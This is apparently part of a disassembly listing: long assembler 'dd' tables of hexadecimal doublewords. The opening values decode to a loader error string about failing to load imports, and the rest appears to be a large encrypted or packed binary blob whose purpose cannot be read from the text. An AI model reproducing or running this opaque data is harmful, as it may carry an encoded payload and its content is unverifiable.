7245206Eh, 20726F72h dd 20736168h, 7275636Fh, 20646572h, 6C696877h, 6F6C2065h dd 6E696461h, 6D692067h, 74726F70h, 0AC370073h, 5CEB77E7h dd 3C4977E7h, 0E21F77E7h, 0E30077F7h, 77F7h, 777E6h, 5 dup(0) dd 0A5FD0000h, 77E7h, 2Bh dup(0) dd 20000h, 0E1480000h, 1DF4C706h, 0A6CF6392h, 6B5B8F96h dd 131137F2h, 7335B11Ch, 6641D509h, 35722B61h, 77A9F29Eh dd 0EF883211h, 8157E790h, 52BFBF10h, 9914DBBFh, 0E5D069C6h dd 815827A8h, 71563210h, 77A96145h, 0EF883211h, 8157E790h dd 45BFBF10h, 9914DBB2h, 0EDD069C6h, 0BBF9B1D5h, 6627DC17h dd 6601B61Ah, 0E3053215h, 63A9C2A4h, 0E3AFE2EAh, 63FCC2F4h dd 0E34EE2EAh, 63A335ECh, 0DE705A43h, 0D3EEAEBDh, 636F1FD0h dd 1F27B798h, 0B6DD37FFh, 5768B79Ch, 0E30537F2h, 63AA31B8h dd 0E8A7BF45h, 3614DC17h, 7AE9A7EAh, 0E38337F2h, 63C53C08h dd 66113215h, 6171B7D3h, 0E0137F2h, 0E8505B7Ch, 6A3487EAh dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63F63FBCh, 6171B7D3h dd 0E0737F2h, 0FA45594Bh, 6A3487EAh, 0E30537F2h, 63A30B02h dd 0E3ABE2EAh, 63FF30D0h, 6171B7D3h, 0E1037F2h, 88405A3Ch dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF30DCh dd 6171B7D3h, 0E0137F2h, 0BC420AD7h, 6A3487EAh, 0E30537F2h dd 63A30B02h, 0E3ABE2EAh, 63FF30D8h, 61798F96h, 694437F2h dd 66227790h, 9F94F415h, 238DD512h, 463AB47Dh, 4397CDEFh dd 0EB14D519h, 81B12590h, 0EF94CD10h, 8820E390h, 9F94F410h dd 2A8DD512h, 4094F17Dh, 4397CDF5h, 0EB14D519h, 81B12590h dd 0EF94CD10h, 8820E790h, 6651DB10h, 0E34E3215h, 63A335ECh dd 822F5A47h, 0D3EE8E5Fh, 636F3F48h, 5F53B798h, 0B6DD37F2h dd 64C0B79Ch, 0E34E37FBh, 63A335ECh, 2C6A5A47h, 0D3EE9459h dd 636F3F48h, 5F53B798h, 0B6DD37F2h, 64C4B79Ch, 0E34E37FBh dd 63A335ECh, 0D2C85A47h, 0D3EECF57h, 636F3E30h, 5F53B798h dd 0B6DD37F2h, 5458B79Ch, 0E34E37F2h, 63A335ECh, 0CE815A62h dd 0D3EEC182h, 636F21D0h, 5F53B798h, 0B6DD37F2h, 65A0B79Ch dd 0E34E37F2h, 63A335ECh, 57355A47h, 0D3EEB8C8h, 636F3E30h dd 5F53B798h, 0B6DD37F2h, 4380B79Ch, 0E34E37F2h, 63A335ECh dd 0B1B5A43h, 0D3EEE60Ah, 636F1FD0h, 1F27B798h, 0B6DD37FFh dd 41B0B79Ch, 0E34E37F2h, 63A335ECh, 76585A52h, 0D3EEB3C9h dd 636F3E30h, 5F53B798h, 0B6DD37F2h, 4AFCB79Ch, 0E34E37F2h dd 63A335ECh, 0D3C05A52h, 0D3EEB81Ah, 636F3E30h, 5F53B798h dd 0B6DD37F2h, 64E4B79Ch, 0DB0B37FBh, 63A33CBCh, 37A63D15h dd 0A0113213h, 818FCB90h, 8F2C7E10h, 99FBE809h, 811D17A0h dd 710DBF10h, 9941D52Ch, 87A7BBC5h, 0A014DC17h, 818FCB90h dd 0A82C7E10h, 99FF46CBh, 811D17A0h, 710DBF10h, 9941D52Ch dd 83A7BBC5h, 0A014DC17h, 818FCB90h, 592C7E10h, 9995B397h dd 811D17A0h, 710DBF10h, 9941D52Ch, 8FA7BBC5h, 0A014DC17h dd 818FCB90h, 7E2C7E10h, 99911D55h, 811D17A0h, 710DBF10h dd 9941D52Ch, 8FA7BBC5h, 0A014DC17h, 818FCB90h, 722C7410h dd 9998EC13h, 811D17A0h, 710DBF10h, 9941D52Ch, 97A7BBC5h dd 0A014DC17h, 818FCB90h, 1C2C7510h, 99A3EE05h, 811D17A0h dd 710DBF10h, 9941D52Ch, 9FA7BBC5h, 0A014DC17h, 818FCB90h dd 0CA2C7510h, 99CDB59Bh, 811D17A0h, 710DBF10h, 9941D52Ch dd 9BA7BBC5h, 0A014DC17h, 818FCB90h, 0B42C7510h, 99F6A8B2h dd 811D17A0h, 710DBF10h, 9941D52Ch, 67A7BBC5h, 0A014DC16h dd 818FCB90h, 622C7510h, 9998F32Ch, 811D17A0h, 710DBF10h dd 9941D52Ch, 63A7BBC5h, 0E514DC16h, 819483A8h, 46313210h dd 61DBB7D3h, 0E5637F2h, 86FA1F72h, 6A6187EAh, 0E3AF37F2h dd 63F60B02h, 0E301E2EAh, 63AA311Ch, 61DBB7D3h, 0E5637F2h dd 0E8A181A4h, 6A6187EAh, 0E3AF37F2h, 63F60B02h, 0E301E2EAh dd 63AA3118h, 61DBB7D3h, 0E5237F2h, 0A6FE78B2h, 6A6187EAh dd 0E3AF37F2h, 63F60B02h, 0E301E2EAh, 63AA3104h, 61DBB7D3h dd 0E5D37F2h, 9DEE5EFEh, 758187EAh, 0E3AF37F2h, 63F60B02h dd 0E301E2EAh, 63AA31B0h, 61DBB7D3h, 0E5537F2h, 0DDFBBC40h dd 6A6187EAh, 0E3AF37F2h, 63F60B02h, 0E301E2EAh, 63AA3100h dd 61DBB7D3h, 0E5237F2h, 0DA065CE9h, 6A6187EAh, 0E3AF37F2h dd 63F60B02h, 0E301E2EAh, 63AA310Ch, 61DBB7D3h, 0E4237F2h dd 0A0980CBFh, 6A6187EAh, 0E3AF37F2h, 63F60B02h, 0E301E2EAh dd 63AA3108h, 49678F96h, 691137F2h, 6688D291h, 9FC1F415h dd 2027D512h, 0F0DF037Dh, 433DCDEFh, 0EB41D519h, 811B2590h dd 0EFC1CD10h, 888B4B90h, 9FC1F410h, 2027D512h, 0C12BE47Dh dd 433DCDE9h, 0EB41D519h, 811B2590h, 0EFC1CD10h, 888BBB90h dd 9FC1F410h, 2027D512h, 9AB5327Dh, 433DCD87h, 0EB41D519h dd 811B2590h, 0EFC1CD10h, 888BBF90h, 9FC1F410h, 2027D512h dd 0B25E587Dh, 433DCDE3h, 0EB41D519h, 811B2590h, 0EFC1CD10h dd 888BA390h, 9FC1F410h, 2027D512h, 0AB41D57Dh, 433DCD81h dd 0EB41D519h, 811B2590h, 0EFC1CD10h, 888B4F90h, 9FC1F410h dd 2027D512h, 4465097Dh, 433DCDA4h, 0EB41D519h, 811B2590h dd 0EFC1CD10h, 888BB390h, 9FC1F410h, 2027D512h, 1FFBDF7Dh dd 433DCDCAh, 0EB41D519h, 811B2590h, 0EFC1CD10h, 888BB790h dd 0D7F9B110h, 6627D509h, 0E3D71260h, 636F35ECh, 861A5A46h dd 0D3DDFCABh, 63F63E30h, 5F9FB798h, 0B6BB37F2h, 6503B79Ch dd 0E3D737FBh, 636F35ECh, 38C35A52h, 0D3DDF5A4h, 63F63E30h dd 5F9FB798h, 0B6BB37F2h, 6507B79Ch, 0DB9237FBh, 636F2EA4h dd 0A0644715h, 8125CB90h, 63797510h, 996E506Bh, 814817A0h dd 71A7BF10h, 9914D52Ch, 4F0DBBC5h, 0A041DC16h, 8125CB90h dd 90797110h, 991A481Ch, 814817A0h, 71A7BF10h, 9914D52Ch dd 4B0DBBC5h, 0A041DC16h, 8125CB90h, 46797110h, 99741382h dd 814817A0h, 71A7BF10h, 9914D52Ch, 570DBBC5h, 0E541DC16h dd 813E83A8h, 26643210h, 6171B7D3h, 0E0737F2h, 0ED229A16h dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF312Ch dd 6171B7D3h, 0E0737F2h, 837904C0h, 6A3487EAh, 0E30537F2h dd 63A30B02h, 0E3ABE2EAh, 63FF3120h, 6171B7D3h, 0E0737F2h dd 8C8800F4h, 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh dd 63FF3128h, 6171B7D3h, 0E0737F2h, 0E2D39E22h, 6A3487EAh dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3154h, 6171B7D3h dd 0E0B37F2h, 0F117A2C1h, 6A3487EAh, 0E30537F2h, 63A30B02h dd 0E3ABE2EAh, 63FF3150h, 6171B7D3h, 0E0B37F2h, 9F4C3C17h dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF315Ch dd 6171B7D3h, 0E0937F2h, 0AE154B5Ch, 6A3487EAh, 0E30537F2h dd 63A30B02h, 0E3ABE2EAh, 63FF3144h, 6171B7D3h, 0E0937F2h dd 0BAD57F9Ch, 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh dd 63FF3158h, 6171B7D3h, 0E1137F2h, 0FA391F22h, 6A3487EAh dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3140h, 6171B7D3h dd 0E0737F2h, 0B4F7C23Fh, 6A3487EAh, 0E30537F2h, 63A30B02h dd 0E3ABE2EAh, 63FF314Ch, 6171B7D3h, 0E1637F2h, 9B6086FFh dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63F6005Ch dd 6171B7D3h, 0E0337F2h, 84BA6B8Ch, 6A3487EAh, 0E30537F2h dd 63A30B02h, 0E3ABE2EAh, 63FF3148h, 6171B7D3h, 0E0337F2h dd 0D7DF52D7h, 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh dd 63FF3174h, 6171B7D3h, 0E0337F2h, 0B984CC01h, 6A3487EAh dd 0E30537F2h, 63A30B02h dd 0E3ABE2EAh, 63FF3170h, 6171B7D3h, 0E1B37F2h, 0F872C07Dh dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF317Ch dd 6171B7D3h, 0E0B37F2h, 0A1DE492Ah, 6A3487EAh, 0E30537F2h dd 63A30B02h, 0E3ABE2EAh, 63FF3180h, 6171B7D3h, 0E0337F2h dd 9C795C59h, 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh dd 63FF318Ch, 6171B7D3h, 0E0337F2h, 0A52416D8h, 6A3487EAh dd 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3188h, 6171B7D3h dd 0E1B37F2h, 0B29952D9h, 6A3487EAh, 0E30537F2h, 63A30B02h dd 0E3ABE2EAh, 63FF3178h, 6171B7D3h, 0E1B37F2h, 0F8CB665Bh dd 6A3487EAh, 0E30537F2h, 63A30B02h, 0E3ABE2EAh, 63FF3164h dd 6171B7D3h, 0E1B37F2h, 0B7311A5Dh, 6A3487EAh, 0E30537F2h dd 63A30B02h, 0E3ABE2EAh, 63FF3160h, 66E0367Fh, 0E443205h dd 66222215h, 0F3EE327Fh, 636F036Ch, 4A71B79Ch, 0E3AF37F2h dd 63FCDB89h, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h dd 57F1A7EAh, 0E3CD37F2h, 63C52084h, 6F98B79Ch, 26E237F2h dd 6654327Dh, 66225A15h, 667B3214h, 57F1A7EAh, 0E3CD37F2h dd 63C5281Ch, 7004879Eh, 0FB0337F2h, 63A334C8h, 43BB879Ch dd 0FB9837F2h, 636F17BCh, 6099AF9Eh, 6DA937F2h, 6911CB96h dd 6682ED91h, 6156215h, 0E3ABF226h, 63F617D0h, 66880EABh dd 42303115h, 658F5435h, 0ED311651h, 128B4A65h, 18CF1231h dd 279FBB0Dh, 0E314D506h, 6C0D3DEAh, 8E443215h, 6622231Bh dd 6611A3FCh, 0B1036315h, 0EF40E07Eh, 81311F80h, 0E155810h dd 66882215h, 99445847h, 81134B80h, 0FB94BB10h, 0ED8DD51Dh dd 0B9AC6BC5h, 30223205h, 425531B8h, 0B903A531h, 0C8840042h dd 99DBB71Ah, 4D4FCDEAh, 0B10360EEh, 4A718F9Eh, 0AFA137F2h dd 0ECD101EAh, 20490013h, 0A7C3369Eh, 0AE113AFCh, 8C943D5Fh dd 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch, 0E3EE6011h, 636F17D0h dd 4381A79Eh, 0F31B37F2h, 63F62154h, 6682B61Ah, 381E3215h dd 8F26F496h, 99EECD8Eh, 3FE96C4Fh, 4BC1F54Dh, 6627D53Eh dd 0A1113215h, 818D0B90h, 66443210h, 0BB9FB115h, 6614DC17h dd 6680B61Ah, 0FBC93215h, 63CF6D70h, 0E3EEE1EAh, 636F1BE0h dd 4FB18F96h, 694637F2h, 66115097h, 930DF515h, 6741D53Ch dd 6223215h, 65A48798h, 0DB0537FBh, 63AA1235h, 0B1A9CC3Eh dd 4A248F9Eh, 0AF0B37F2h, 0EC8401EAh, 20E30013h, 0A796369Eh dd 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh, 5FC1C5D4h, 818C6B90h dd 71C03D10h, 0E5223215h, 812233A8h, 0E3873210h, 6644321Fh dd 683FB7D2h, 661037F2h, 0DFE93215h, 1C6500D4h, 0F5BC70AFh dd 0D3989F0Fh, 636F178Ch, 66B874D2h, 5B223215h, 88FFDCFBh dd 66A8B71Ah, 58C53215h, 0BBFFEFC8h, 6605B71Ah, 604F3215h dd 66443215h, 0EF26F496h, 8134ABA0h, 6E71DB10h, 0BECF3215h dd 683FB726h, 0AED037F2h, 0A74A1916h, 0A77722D5h, 683FAF9Ch dd 662C37F2h, 69883315h, 66447796h, 0DD1CB315h, 69AA89AEh dd 66880B90h, 6642F515h, 0E5223215h, 0D39836D3h, 636F178Ch dd 6099AF9Eh, 6DA937F2h, 0ED71E29Eh, 0F30D19D7h, 0A741D51Ch dd 0E32130F5h, 63F611ACh, 0A78B9F83h, 7A60769Ch, 665EDB74h dd 34403215h, 0F303FB26h, 63A33A88h, 0E22D302Eh, 6611322Dh dd 278CF096h, 7505BF2Eh, 0E32D37F2h, 99EECDFDh, 64128798h dd 0DBC937FBh, 63C525B8h, 69D1B6B9h, 66883491h, 97AD9815h dd 0DEDDCDEAh, 66113215h, 2B72BF98h, 87BB37F2h, 43E7BF9Ch dd 3F4B37F2h, 0BB15B943h, 0ED41D513h, 0A3A7B91Eh, 0B714D530h dd 70D31F5h, 5541D53Fh, 0CB44A4E3h, 6513D2D4h, 81AB8B90h dd 65E9A410h, 0DBA16CD4h, 63F62594h, 5F0C3D14h, 5D443215h dd 812E1798h, 4B953D10h, 5D883215h, 8157F798h, 47A63D10h dd 5D113215h, 818DC398h, 73C03D10h, 0EB223215h, 8806CA88h dd 0ED5BCD10h, 97C1BBEDh, 8F27D503h, 661134A1h, 7170AF98h dd 0B5BB37FBh, 71A38F96h, 691137F2h, 66882F91h, 0EFC10915h dd 6927D514h, 66113E91h, 7F0D0915h, 6941D51Ah, 66223790h dd 99A8DB15h, 0E3B3CDEAh, 63A33FBCh, 663AB71Ah, 0DB923215h dd 636F35E4h, 6DC13D15h, 0EB223215h, 8BF1D390h, 991DDB10h dd 0E37FCDEAh, 63C53FBCh, 9998B61Ah, 0DB0BCDEAh, 63AA3083h dd 71A73D14h, 5D113215h, 888AC790h, 6DC13D10h, 0EB223215h dd 3EF79290h, 99E5DB15h, 9977CDEAh, 688B8F96h, 691137F2h dd 668B5591h, 87C10915h, 1327DC17h, 0DF94B912h, 218DD539h dd 64ADB72Eh, 615737FBh, 68F4B79Eh, 5DCF37F2h, 8846D790h dd 0ED254710h, 813F3F90h, 0E3B37510h, 63AA30F8h, 0E3A93560h dd 63F63B3Ch, 970D0952h, 1341DC17h, 0FA7B912h, 2114D51Fh dd 647DB72Eh, 613137FBh, 7573B79Eh, 5D5637F2h, 888ACB90h dd 0ED434710h, 8105AB90h, 0E32A7510h, 636630E8h, 0E3CF3560h dd 63C519D4h, 67940952h, 138DDC16h, 17C1B912h, 2127D506h dd 6514B72Eh, 61FD37FBh, 6CD1B79Eh, 5D6537F2h, 88123F90h dd 0ED8F4710h, 81693B90h, 0E3197510h, 63FF311Ch, 0DB0B2260h dd 63A32EA4h, 0ED254715h, 81326390h, 0DB0B7510h, 63A33A54h dd 5D2D4615h, 8812A790h, 0ED8F4710h, 81644390h, 0DBA17510h dd 63F61D50h, 0E5FA4615h, 81614BA8h, 0F563210h, 6568B72Eh dd 61FD37FBh, 75F5B79Eh, 5D6537F2h, 8812BB90h, 0ED8F4710h dd 81410390h, 0E3197510h, 63FF3168h, 0E3033560h, 63A31484h dd 0EBA70952h, 1314DC16h, 6F0DB912h, 2141D51Ch, 65B3B72Eh dd 616437FBh, 74C1B79Eh, 5D0337F2h, 8821B390h, 0ED164710h dd 81932F90h, 0E37F7510h, 63CC3190h, 0E39A3560h, 636F014Ch dd 1FF9B152h, 6627D530h, 641BB61Ah, 0E3B33215h, 63AA3104h dd 0E3A93560h, 63F612ACh, 0C30D0952h, 1341DC16h, 63A7B912h dd 2114D539h, 659DB72Eh, 613137FBh, 6A43B79Eh, 5D5637F2h dd 888B2B90h, 0ED434710h, 81233790h, 0E32A7510h, 63663108h dd 0E3CF3560h, 63C51544h, 47940952h, 138DDC16h, 0D7F9B105h dd 6627D509h, 0E39A3560h, 636F3A04h, 43C10952h, 1327DC16h dd 7B94B912h, 218DD537h, 656DB72Eh, 765737FBh, 7AA08F96h dd 138837F2h, 3C1B912h, 2127D503h, 653CB72Eh, 61FD37FBh dd 7369B79Eh, 5D6537F2h, 88120390h, 0ED8F4710h, 816E6390h dd 0E3197510h, 63FF312Ch, 0DB0B2260h, 63A32EA4h, 0ED254715h dd 813CE790h, 0E3B37510h, 63AA3120h, 0DBA12260h, 63F62EA4h dd 0ED8F4715h, 81498790h, 0E3197510h, 63FF3128h, 0E3033560h dd 63A3310Ch, 27A70952h, 1314DC16h, 0E70DB912h, 2141D506h dd 6567B72Eh, 616437FBh, 44A5B79Eh, 5D0337F2h, 88217B90h dd 0ED164710h, 819F0B90h, 0E37F7510h, 63CC3158h, 0E39A3560h dd 636F127Ch, 37C10952h, 1327DC16h, 4F94B912h, 218DD536h dd 6511B72Eh, 615737FBh, 6DE0B79Eh, 5DCF37F2h, 88476B90h dd 0ED254710h, 810DDB90h, 0E3B37510h, 63A3005Ch, 0E3A93560h dd 63F635D8h, 3B0D0952h, 1341DC16h, 9BA7B912h, 2114D503h dd 6511B72Eh, 7F3137FBh, 65838F96h, 131137FBh, 0E735B11Ch dd 6641D502h, 0E3A93561h, 63F619FCh, 0FB0D0952h, 1341DC16h dd 0C79FB10Ch, 6614DC16h, 0DB0B3B60h, 63A32594h, 0ED254615h dd 8115A390h, 0E3B37510h, 63AA3174h, 0E3A93560h, 63F629F8h dd 30D0952h, 1341DC16h dd 7FA7B912h, 2114D51Dh, 65E1B72Eh, 613137FBh, 492FB79Eh dd 5D5637F2h, 888B5F90h, 0ED434710h, 810EBB90h, 0E32A7510h dd 63663164h, 0E3CF3560h, 63C53E10h, 13940952h, 138DDC16h dd 0DFC1B912h, 2127D535h, 0E21ECD1Eh, 66883210h, 99BFD8FCh dd 0D7A709EAh, 6914D516h, 66883990h, 3FC1BF15h, 8F27DFB1h dd 99EEC9C6h, 4319B72Eh, 0E34B37F2h, 6622320Dh, 64878F96h dd 698937FBh, 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh dd 6495B72Eh, 0E22D37FBh, 66113219h, 645DB72Eh, 0E34B37FBh dd 66223210h, 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h dd 5D113215h, 888AF790h, 6DC13D10h, 0EB223215h, 3E73D690h dd 9DE5DB15h, 0E37FCDEAh, 63CC30DCh, 661AB71Ah, 0E3053215h dd 661C514Fh, 99D964FCh, 0AB9409EAh, 698DDC17h, 66443990h dd 0F9A7BF15h, 8F116A76h, 9977C92Ah, 67FAF29Eh, 6D223215h dd 63943DE3h, 8F883215h, 99BBC936h, 0D3ABC29Eh, 63F6214Ch dd 7DA5879Ch, 58C437F2h, 40A73DFCh, 0ED113215h, 988B336Bh dd 0A5C5EC9Eh, 66227215h, 75488F2Eh, 0E48737F2h, 6644321Dh dd 0E02DC92Eh, 66113210h, 9972D4FCh, 0F7F9B9EAh, 0A127D507h dd 8130D790h, 66883210h, 0D3CD5215h, 63C52938h, 7BC8AF98h dd 0B57737FBh, 6666B01Ah, 0FBAF3215h, 63FD8EADh, 0E587E1EAh dd 99BBCDCBh, 7D0F879Eh, 0D39837F2h, 636F13F0h, 3949AF98h dd 0B5DD37F8h, 7548B79Eh, 0E30137F2h, 63A32938h, 24BFBF74h dd 9914DC0Fh, 4C15BFC6h, 9941DC08h, 6AA13DC6h, 0E5113215h dd 81931F90h, 0B8AD3710h, 0EBDDCDEAh, 880C6188h, 695BCD10h dd 66443A96h, 62E0B115h, 661100FCh, 0DE15BF15h, 9941DEA9h dd 6DA13DC6h, 0ED113215h, 81931FA0h, 61C4DB10h, 0EBA93215h dd 63F62938h, 7DA5879Ch, 0A86F37F2h, 9709EBE2h, 0F0F896E6h dd 0EB77CDEAh, 8B1B5788h, 0EDF1CD10h, 0F79419D2h, 0EF8DD507h dd 81519790h, 0F7A7B910h, 3114D507h, 0BC05BF45h, 9941DF4Ah dd 6FA7B9C4h, 3614D50Fh, 0F70DB942h, 3641D507h, 62BBF98h dd 0B7EE37F8h, 0AE03E29Eh, 7C4DBF3Eh, 0DBA137F2h, 63F60170h dd 4D0C3D15h, 0ED443215h, 81284B90h, 3941910h, 5D8DD526h dd 71C23DD4h, 0ED223215h, 81308790h, 30D3110h, 0EF41D526h dd 8134C390h, 6652DB10h, 0EDD93215h, 99497AD4h, 2622321Ah dd 6C68B79Ch, 0E38937F2h, 63A33154h, 5547B7D2h, 661137F2h dd 26E23215h, 6654327Dh, 66486315h, 5768A7EAh, 0F37737F2h dd 63A310C0h, 4797B79Ch, 0E39837F2h, 636F24E4h, 97F1CD4Ch dd 9927D503h, 810B3BA0h, 0D3776510h, 63A32084h, 2B9B798h dd 0B6EE37F8h, 55EDBF14h, 0DBCF37F2h, 63C524E4h, 7C18879Eh dd 0C27B37F2h, 43DD879Eh, 0A18F37F2h, 6611CE53h, 0A6493215h dd 54853710h, 0E3214834h, 63F63688h, 7079BF9Eh, 6ECD37F2h dd 9A64F5B8h, 66113215h, 4311879Ch, 9EC737F2h, 46A73DEAh dd 0E7113215h, 0BB55EF2Bh, 72C13DC8h, 0A1223215h, 66113213h dd 624EB115h, 43DD879Ch, 80CB37F2h, 0A7EECDE3h, 0E38B31D5h dd 63A33688h, 6EB38F96h, 691037F2h, 6688AF91h, 0CC7AB315h dd 698898BFh, 66112090h, 624EB115h, 66B874D2h, 0F1223215h dd 65F8DBA5h, 0F1883215h, 0E514DAA5h, 8135B3A8h, 0E21E3310h dd 6688322Bh, 664532ADh, 0BB9FB115h, 6614DC17h, 6680B61Ah dd 0FBC93215h, 63CF55C9h, 5991E1EAh, 6E0C3D85h, 0E5443215h dd 25CB37D2h, 0E5113215h, 0E48762EDh, 6644321Fh, 3E88A2A5h dd 6635DBBFh, 0CCD03215h, 8FBB4D95h, 663AB71Ah, 0DB923215h dd 636630C8h, 6EC03D15h, 0EB223215h, 8B769E88h, 0EE5BCD10h dd 0E3CF3652h, 63C524E4h, 8E92F53Eh, 0A1259911h, 6644CE53h dd 77CB3215h, 0EFEECDEAh, 81ADABA0h, 662C6010h, 0C223295h dd 0FBA4CD15h, 998DD51Dh, 81639380h, 0EBA96810h, 63F634C8h dd 668833D2h, 0A7C73215h, 0BBAFBB11h, 8F14D513h, 9977C705h dd 664296FCh, 0EBA95215h, 63F634C8h, 0EB013B9Eh, 63AA30CCh dd 326C0A94h, 0E31E7E51h, 66883209h, 623CB373h, 0E32D1C59h dd 66113205h, 0A00BC29Eh, 3BC1B913h, 8F27D518h, 66113313h dd 0B603C29Eh, 5AE8FB26h, 3BA63D15h, 5A113215h, 890C3D38h dd 5ABBCDEAh, 5BA63D3Bh, 5A113215h, 660A3D25h, 5A443214h dd 0B1A43D2Ch, 5AEECDEAh, 960A3D54h, 5A443215h, 0A1A43D4Fh dd 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh, 0BEA03D74h, 5A113215h dd 0C90E3D6Fh, 8FBBCDEAh, 662232DEh, 69C70957h, 6688F091h dd 8F057815h, 99DDCD8Fh, 0E21EFB90h, 668832A6h, 44B18798h dd 0ACA937F2h, 48A1C89Eh, 9F0D3DBBh, 4DBBCDEAh, 4DFBC5DAh dd 95E6B5ECh, 99CFF4B1h, 93D1BF15h, 0ED27D537h, 8106BB90h dd 6948B710h, 66442890h, 9FA7F415h, 2114D512h, 0FC2FE07Dh dd 0A3F1CDC1h, 0EB27D538h, 8C685190h, 3458CD10h, 0A6C1E2EAh dd 661AB71Ah, 0E39A3215h, 636F03ECh, 0E34BF290h, 6622320Fh dd 61E8B7D3h, 0EC437F2h, 0BF9E2EFCh, 4BE787EAh, 0E39C37F2h dd 63624B76h, 9916E2EAh, 69E2B7C5h, 66113790h, 66A9DB15h dd 0E3CD3215h, 63CC30CCh, 0E39C6445h, 63625922h, 0A64FE2EAh dd 6627B71Ah, 62F83215h, 0EF883215h, 7581651h, 0EBA952D6h dd 63FF30CCh, 6549B945h, 0F6CF0E55h, 6622329Dh, 43ECA79Ch dd 9E8D37F2h, 0ED443215h, 0F3AB3E45h, 63F61358h, 42CCB94Dh dd 5D851931h, 81037F90h, 76933D10h, 5D883215h, 8161CF90h dd 62A13D10h, 7113215h, 78836D7h, 666036D2h, 0A1223215h dd 66151651h, 0DE883215h, 66443210h, 2BD8BF98h, 87EE37F2h dd 5A8EB875h, 58C03DFCh, 5A223215h, 24953DFDh, 5A883215h dd 74C03D1Ah, 5A223215h, 59953DD8h, 5A883215h, 2FC03DFEh dd 7223215h, 674FB8D6h, 0E678D195h, 0E34BB2EEh, 99DDCDFAh dd 0A592EC9Eh, 64D63113h, 664426FCh, 677CB915h, 69EAC996h dd 66881B91h, 659AB915h, 0A5A1334Bh, 99D8DB10h, 0D087CDEAh dd 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh, 6688321Fh, 98454C95h dd 998FB71Ah, 6F8CDEAh, 3077CDEAh, 55136144h, 0BEA89ED5h dd 0E6E1D195h, 0E28742EEh, 664432F9h, 0E22D3D29h, 66113230h dd 0E287DB29h, 66443391h, 0E22DD929h, 66113000h, 0E287D129h dd 66443264h, 0E22DD029h, 66113056h, 38D1694Ah, 0CFC1F5D6h dd 6027DC16h, 0EC113215h, 966BB20Bh, 69C4C995h, 99DDD190h dd 0E39A7CEAh, 636F214Ch, 47A1A79Eh, 0B8A937F2h, 6517F196h dd 0BEB3304Bh, 664CB01Ah, 0BC193215h, 99AFB41Ah, 0B9A3CDEAh dd 42D996h, 0F58954B8h, 62D7B1BEh, 0EFAC0E9Ch, 0EF481661h dd 81391FA0h, 3F4A6D10h, 624CB14Bh, 99BE52FCh, 0CFA7F5EAh dd 6414DC16h, 0ED883215h, 68F23DCBh, 69A2CB95h, 66113A96h dd 25513115h, 66443FFCh, 99CBB215h, 8790EBE2h, 668832EAh dd 0E3CFEB3Eh, 63C5214Ch, 47F4A79Eh, 0DB0B37F2h, 63A31938h dd 0C5A63D14h, 5D113215h, 0FD0A3DCDh, 5D443215h, 27A03DCFh dd 8FEECDEAh, 6688329Bh, 65EDB7D2h, 662037FBh, 0B89A3215h dd 0E686841Ah, 0E54BB2ECh, 6622321Dh, 8F52EB16h, 66883218h dd 91BBDB95h, 99C3B3CCh, 4D113215h, 3F0DB9CCh, 0ED41D506h dd 8103D780h, 4BACB110h, 678DD53Eh, 660CB61Ah, 0BE193215h dd 6619B01Ah, 0BCB33215h, 98A2B41Ah, 0D66CCDEAh, 689B981Ah dd 8708B2A5h, 0CC85381Ah dd 8DA1ED3Eh, 0E5BAA111h, 0D30130D3h, 63A32938h, 4D0FB7D2h dd 661037F2h, 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h dd 0D6C6CDEAh, 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h dd 8F40F696h, 99DDCBD2h, 65B8B7D2h, 668D37FBh, 0B8CF3215h dd 6526F196h, 3F94B90Bh, 0ED8DD506h, 8165D780h, 0DBA17C10h dd 63F6372Ch, 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h dd 4D0E3DCFh, 0EF443215h, 81391FA0h, 0CF8CB910h, 678DDC16h dd 8F481649h, 662232CBh, 5F94F54Ah, 678DD510h, 3D443215h dd 0A2A16C4Ch, 9EE6DB11h, 0DB0BCDEAh, 63A31938h, 0DDA63D14h dd 4D113215h, 819B6B88h, 0F7C9B910h, 6527D507h, 0E5DE19DEh dd 8F3837FCh, 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh dd 0CFC1F5EAh, 6427DC16h, 0ED113215h, 683E3DCBh, 69C4CB95h dd 66223A96h, 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h dd 661132EAh, 0E303EB3Eh, 63A3214Ch, 47C7A79Eh, 20F837F2h dd 0A177CDEAh, 88479B90h, 66223010h, 69CFB915h, 9F083CA3h dd 6EC73D95h, 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh dd 66DDD394h, 0BF3A3215h, 75D1B79Eh, 0F3CF37F2h, 63C513F0h dd 4D3C8F96h, 698937F2h, 99BAFB91h, 69FA09EAh, 66113A97h dd 69520915h, 99B95593h, 0A8A97CEAh, 8F92FD3Eh, 0CC618210h dd 0EEAD9984h, 0ECDDCDEDh, 69F90E13h, 66883491h, 7EADCA15h dd 35223215h, 3812EC9Eh, 634BB114h, 4DEEDAA5h, 62C9B1CAh dd 0E54A9986h, 0A57137D3h, 60CF5444h, 0E22DF129h, 66113255h dd 0E287F929h, 6644322Dh, 0E22DF029h, 6611322Dh, 0E287F829h dd 66443225h, 